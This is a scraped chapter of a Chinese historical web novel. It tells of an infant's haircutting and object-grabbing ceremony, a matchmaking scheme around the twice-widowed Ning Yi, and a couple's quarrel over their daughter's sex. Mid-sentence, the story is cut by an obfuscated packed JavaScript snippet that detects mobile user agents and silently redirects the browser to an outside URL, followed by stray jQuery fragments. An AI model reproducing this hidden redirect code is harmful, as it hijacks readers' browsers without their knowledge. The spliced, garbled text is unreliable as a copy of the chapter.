28.试儿

作品:《昭仪的下岗再就业

    郗元微微回头,余光扫过困惑的魏氏母女,不动声色对宁懿道:“许久不见宁长史,不知他近来可好。”


    短暂共事,之后郗元便很少再见到宁崇。


    “阿兄近来忙于公务,不能亲来致贺新城君弄瓦之喜,临行前,殷殷叮嘱,托我向新城君问好。”宁懿莞尔道。


    两人携手往前,说说笑笑,到了西园宴饮之地,依山势而起的亭台高低错落,以回廊连接,坐亭中,可将整片西园的景色尽收眼底。


    山坡另一边,支起白色帷帐连绵,以阻隔男女,不失礼数。


    郗元并未带宁懿往人多处去,而带着她来到一处亭子,早有侍女守在此处,见郗元来了,立刻支起镂空雕窗。


    宁懿不解,郗元以目光示意。


    她顺着郗元的视线,望向窗外,但见三五男子,正闲聊园中。为首之人,不是公冶聪是谁。


    宁懿一惊,顿时收回目光,“新城君,这...”


    郗元看向侍女,侍女合上窗户,公冶晏抬首,扫了一眼闭合的窗扉,对公冶聪道:“时辰不早了,兄长,该过去了。”


    等到园中人离去,侍女才再支起窗户,宁懿再往窗外眺望,却只剩空景,她不免有些失落。


    郗元捕捉到宁懿细微的神色变化,进一步试探道:


    “不知宁女郎觉得,大将军如何?”


    “大将军文武兼备,有星月之姿,乃陛下肱骨,朝廷柱石,实在是人中龙凤。”宁懿的回答中规中矩。


    期盼的答案并没有出现,郗元垂眸,“年纪轻轻便掌一国军政大权,普天之下,再难寻到第二个。”


    “是啊,此番英豪,实在引人心动,不知何样淑女,能侍奉在大将军身侧。”


    郗元抬起视线,恰好对上宁懿诚恳的目光,二人会心一笑。


    宁崇任留守长史,是公冶聪大将军幕府之中仅次于长史的核心僚属,新乡宁氏,经学世家,身为太尉遗女,宁懿未必不能作配公冶聪。


    剪发在内堂举行,宜华抱出阿珠,宁懿为郗元递剪,郗元接过剪刀,剪下阿珠右边的头发,公冶聪为公冶晏传帛,公冶晏接过,用绢帛包起剪下的胎发,最后交给侍女,埋于庭院。


    “那位女郎是?”公冶聪询问公冶晏道。


    对于这位忽然出现在家中的女郎,公冶聪照例询问。


    “兄长,你看不出来吗?不觉得她和什么人很像吗?”公冶晏却卖了个关子。


    公冶聪瞪了他一眼,“男女有别,非亲非故,岂可贸然直视女郎,竖子无礼!”


    “那是宁长史的妹妹。”


    “哦?”公冶聪一时抬眸。


    “原来是随明的妹妹,我就说怎么似曾相识,却想不起在哪里见过。”


    经公冶晏一提醒,他这才恍然大悟。


    宁懿哄完阿珠,一抬头对上公冶聪视线,点头一笑,便挪开视线。


    “兄长,这位宁女郎可了不得,有相士曾谓她命相贵不可言,非尊贵之人不能相匹。”


    公冶聪想了想,“我也听说过此事,术士为财帛胡说罢了,怪力乱神之语,不信也罢。”


    “但是也并非全无道理,她的三位夫婿,接连亡故,倒也没有如此凑巧的事情吧。”公冶晏意有所指。


    时人以为,女子克死夫婿,乃是夫婿命中不足,不能匹配女子。


    这样的女子,命带尊贵。


    宁懿十五岁及笄而嫁,三次克死夫婿,这三位夫婿,出身也并不低,可见,她命中在等着一位更尊贵的人。


    公冶聪看了一眼公冶晏,大概知道自己掉进了弟弟的谋算,“怎么,宁女郎命带尊贵,你想停妻再娶?”


    “阿兄。”公冶晏陡然吸了口气。


    见弟弟神态为难,公冶聪得逞一笑,“好了,此事过后再议,今日是为阿珠庆贺,我怎能喧宾夺主。”


    剪发之后,郗元为阿珠换了一身衣服,再将她抱出来,侍女已经铺好席子,亲人们各自拿出自己准备的试儿之物,放在席子边缘。


    郗元准备的是一根亲手编织的长命缕,无论阿珠是否抓到,她都会将长命缕戴在她脖子上,母亲,一定会让孩子健康长大,不受风霜。


    公冶晏站在郗元身边,从袖中摸出一个漆盒,郗元好奇看去,“里面是什么?”


    试儿之前,她便看到了公冶晏准备的漆盒,但无论她怎么询问,公冶晏就是不说,故作神秘,一定要等到当日才打开。


    公冶晏侧首,漆黑的眼中笑意温柔,他在郗元好奇的目光注视下,打开了手中的盒子。


    明珠圆润,比之当日公冶晏随手拿来逗弄阿珠的珠链珍珠尺寸更大,洁白光滑,色泽柔和,一看便是难得的珍品。


    围观宾客无不叹然,纷纷恭维道:


    “好一颗明珠,以明珠衬掌中珠,可见安平侯舐犊之情。”


    “古人云爱屋及乌,可见安平侯与新城君夫妻伉俪,情谊深厚。”


    众人都有所准备,不过寻常寓意,有笔墨纸砚,也有书卷典籍,唯独郗明别出心裁,摘了自己的印绶放在席上。


    “国家公器,似乎不妥。”郗元劝道。


    公冶晏看了一眼兄长,见公冶聪并无异议,口吻镇定道:“无碍。”


    郗明似乎笃定了阿珠会抓他的印绶,试儿还未开始,便迫不及待要看郗元为被抓中人准备的谢礼。


    “阿兄,你便如此笃定?”


    郗明一本正经,“必然是我!”


    吉时一到,试儿开始,宜华将阿珠放在席子的中央,由她自己选择。众人围成一圈,笑盈盈望着阿珠,都期望她能选中自己。


    阿珠睁着双漆黑的大眼,逡巡一圈,在郗明满怀壮志的眼神中,朝他的方向爬了过去。


    郗元有些愕然,看向郗明的目光中满是震惊与困惑,“阿兄莫不是真的学了什么仙法?”


    一旁郗明不语,只得意朝郗元扬了扬下巴。


    阿珠爬到印绶前,盯着它认真看了看,却并未伸手去拿,片刻,她看向一旁郗元,伸出手,一把抓住了母亲的衣袖。


    郗元想要让她去抓席上的物品,轻轻掰开了她的手,公冶晏朝她晃了晃手里的明珠,希望能用带着光亮的东西,吸引她的注意力。


    阿珠果真被他吸引,但是小手伸出去,没有抓明珠,而是抓住了公冶晏的手。


    众人都不解,唯独郗明一旁领悟,感慨出声,“好聪慧的女郎,抓住父母,既承其父,又袭其母!”


    此话一出,众人才恍然大悟。


    公冶聪笑了,“能兼得父母才德、聪慧,看来我公冶家,要出一位了不得的女郎。”


    一时恭维声不绝,公冶晏抱起阿珠,认真看了她好几眼,阿珠也懵懂望着他,两双漆黑的眼睛,彼此相望。


    郗元望着父女两人,这一瞬,公冶晏眼中的欣喜和震惊,是发自内心的。


    只是这欣喜中,还夹杂着犹豫与怀疑。


    自负催生愤怒,郗元伸手,从公冶晏手中将阿珠抱了过来。她的动作有些着急,甚至可以说得上有些粗鲁。


    公冶晏觉察到她不悦,看了过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15055884|158045||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去。


    郗元也无畏望了回去,浅褐色的瞳眸深处,隐约愠怒。


    一丝一毫的犹豫与怀疑,都是对她郗元的轻视。


    阿珠是她的孩子,十月怀胎生下的女儿,她有信心,将她教导成为才德兼备的士族女郎。


    谁也不能轻视她,哪怕是公冶晏。


    公冶晏垂眸,避开郗元的视线,片刻,他将手中漆盒放在阿珠面前,低声央求道:“夫人。”


    众目睽睽,郗元自然不会继续与公冶晏纠缠,她看了他一眼,脸上愠色消失无踪。


    长命缕系在衣结,阿珠抱着漆盒,张口就去咬,试儿抓到父母,准备的谢礼,也无缘送出。


    试儿结束,宴席便要开始,郗元命宜华抱阿珠回去,自己与公冶晏请宾客入席,请至两位妻兄时。


    郗明故作叹息,“我这侄儿,真会为她阿母考量,知道她阿母吝啬,舍不得谢礼,便只抓父母。”


    “二弟。”郗临蹙眉,出声提醒道,“还没入席,佳酿未入口,怎么说起醉话来了。”


    “无碍,都是一家人。”公冶晏笑道,“我备了上好的酒,今日定要多敬两位兄长几杯。”


    宾客散尽,已经是午后,二人回到住所,侍女们有序入内,为二人更衣,郗元脱去宽大的外袍,坐在镜前,拆卸发上簪珥。


    公冶晏挥手,示意侍女退下,屋中一时只剩下夫妇二人,公冶晏在郗元身边坐下,伸手帮她摘下鬓边摇曳的花树钗。


    “夫人。”他放低了声音,讨好唤道。


    郗元看了公冶晏一眼,一言不发,自己摘下另一边花钗,公冶晏伸手,想要揽她的肩,也被她侧身躲过。


    公冶晏挫败叹气,“夫人,我并非怀疑你能够教养好阿珠,而是对试儿的结果感到意外,不知怪力乱神之语,是否能信。”


    郗元冷笑声,不解释还好,越解释,越解释不清。


    她反问道:“夫君知道我在想什么?”


    公冶晏哑然。


    答案心照不宣,越强调不在意,实则越在意。


    对于阿珠是女郎而非公子一事,公冶晏是在意的。


    “这个世道就是这样,夫人,你和我需要的不仅仅是一个孩子,而是一个能够继承我一切,包括我意志的孩子。”


    似曾相识的话,再度萦绕耳边,郗元忍不住掩面,泪水顺着指缝渗出。


    “生下来是个女郎,能有什么办法呢?”她哽咽道,语调里,满是不甘,这样的话,她从小便听过许多。


    “为什么?”她的肩头开始发抖,因为不甘,也因为愤怒。


    她曾向大父建议,韬光养晦,蓄养死士,必要时,绝地一击。


    匹夫无罪,怀璧其罪,只要大父这个老臣还在,威胁就不会消除,大将军也不会放下忌惮。


    何况,他们为什么要低头?天下,由老臣定,为何权柄,却要交给碌碌无为之辈?为什么等着他们的命运,是鸟尽弓藏?


    进退亦死,匹夫尚有血性,何况公卿。


    可大父只是望着她,长叹口气道:“你若是个男儿,一定能振兴我们郗氏。”


    如果她是个男儿,一定能振兴家族。


    为什么是女儿,就不可以?


    “为什么?”郗元的声音越来越迷惘。


    公冶晏见郗元失态,虽然不知她为何在这件事上格外敏感,但眼下她情绪十分激动,公冶晏立刻伸手,拥她入怀,安慰道:


    “不要想了,那是过去的事情,没有为什么,不是所有的事情都有为什么。”